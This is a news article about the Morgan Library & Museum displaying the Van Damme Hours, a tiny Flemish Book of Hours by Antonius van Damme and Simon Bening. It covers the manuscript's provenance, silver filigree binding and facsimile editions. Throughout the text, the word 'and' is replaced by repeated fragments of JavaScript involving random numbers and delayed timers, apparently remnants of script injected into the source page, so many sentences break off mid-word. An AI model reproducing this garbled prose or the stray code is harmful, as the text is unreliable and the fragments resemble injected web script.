NEW YORK CITY — The Morgan Library & Museum is displaying its Sixteenth Century original Van Damme Hours to mark the occasion of the manuscript’s facsimile publication by Munich’s Faksimile Verlag. On view through October 6, the tiny (2.2-by-2.9-inch) Book of Hours is the creation of scribe Antonius van Damme andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and illuminator Simon Bening.

The Van Damme Hours has a storied provenance, having passed through no less than ten handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands before entering the Morgan’s collection in 1924. Although the identity of the man who commissioned the work is unknown, the compelling history of the manuscript’s first known owner, John Strange (1732–1799), is well documented, as is the manuscript’s subsequent owners.

Strange, a British dilettante whose eclectic interests included everything from sea sponges to Venetian paintings, supplied the manuscript with its distinctive detachable silver filigree binding. The binding is displayed alongside the manuscript at the Morgan, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and replicated as part of the deluxe edition of the facsimile. 

The Van Damme Hours is named after its Flemish scribe, Antonius van Damme (active 1495–circa 1545). Although not a documented work, its fine illuminations are the work of Simon Bening (1483/84–1561), among the leading Flemish illuminator of the Sixteenth Century. The manuscript contains all of the stylistic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and iconographic elements that comprise the oeuvre of Bening, including the illustrated calendar images in which he specialized. Van Damme andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Bening had a professional, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and surely also a personal, relationship for 50 years.

The book’s textual contents, which are atypical of a conventional Book of Hours, provide clues as to its original owner. Although it includes a selection of the typical texts found in Books of Hours — a Calendar, the Hours of the Virgin, the Mass of the Virgin, the Hours of the Conception of the Virgin, the Penitential Psalms andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Litany, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a series of prayers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Suffrages — other traditional prayers are missing.

There are no leaves missing from the Van Damme Hours, so it is clear that these absent devotions were never intended to be included. The book must, then, have been commissioned by someone who already possessed a traditional Book of Hours, which would have contained the prayers missing from this work.

The manuscript also includes “O iuste iudex Iesu Criste” a prayer that is very rare — possibly unique to this manuscript — which seems to have been composed specially for the patron.

In July 1911 Edouard Rahir (1862–1924) of Librairie Demascène Morgandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold eight illuminated manuscripts from Leboeuf de Montgermont’s collection — including the Van Damme Hours — to J. Pierpont Morgan. Morgan’s librarian, Belle da Costa Greene, wrote to Rahir in July of that year, commenting, “I want to tell you that I consider all of these manuscripts of an exceptionally fine quality andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that I am very pleased indeed to have you offer Mr Morgan manuscripts of this high order.”

Publisher Faksimile Verlag has produced two editions of the facsimile of the Van Damme Hours. The velvet-bound deluxe edition, limited to 98 copies, includes a replica of the silver filigree binding; the leather-bound edition, limited to 882 copies, features a stamped pattern of the filigree binding.

The Morgan Library & Museum is at 225 Madison Avenue, at 36th Street. For more information, 212-685-0008 or www.themorgan.org.